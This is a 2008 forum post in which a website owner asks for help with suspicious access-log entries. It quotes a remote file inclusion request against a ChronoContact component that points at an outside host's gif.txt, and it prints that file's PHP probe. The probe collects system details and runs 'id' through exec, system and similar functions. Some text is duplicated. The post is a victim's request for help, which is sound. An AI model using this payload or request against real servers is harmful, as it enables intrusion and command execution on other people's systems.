I just checked my access log and found entries, that look like hacking attempts.
Can someone with more knowledge in these things confirm that and tell me what to do?
I think I secured our website as good as possible and the hacking attempts obviously didnt work out, nevertheless it scares me, not to kn ow whats going on there...
where this gif.txt contains the following:
there are some other entries, that are very similar ...<br><br>Post edited by: GreyHead, at: 2008/02/01 13:39
Can someone with more knowledge in these things confirm that and tell me what to do?
I think I secured our website as good as possible and the hacking attempts obviously didnt work out, nevertheless it scares me, not to kn ow whats going on there...
69.72.142.138 - - [31/Jan/2008:05:24:30 +0100] "GET /~admin92//administrator/components/com_chronocontact/excelwriter/Writer/Worksheet.php?mosConfig_absolute_path=http://doodlepacific.com/public_html/images/articles/gif.txt? HTTP/1.1" 302 471 "-" "libwww-perl/5.808"
where this gif.txt contains the following:
<?
$dir = @getcwd();
$ker = @php_uname();
echo "31337<br>";
$OS = @PHP_OS;
echo "<br>OSTYPE:$OS<br>";
echo "<br>Kernel:$ker<br>";
$free = disk_free_space($dir);
if ($free === FALSE) {$free = 0;}
if ($free < 0) {$free = 0;}
echo "Free:".view_size($free)."<br>";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"«»))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
function view_size($size)
{
if (!is_numeric($size)) {return FALSE;}
else
{
if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
else {$size = $size . " B";}
return $size;
}
}
there are some other entries, that are very similar ...<br><br>Post edited by: GreyHead, at: 2008/02/01 13:39
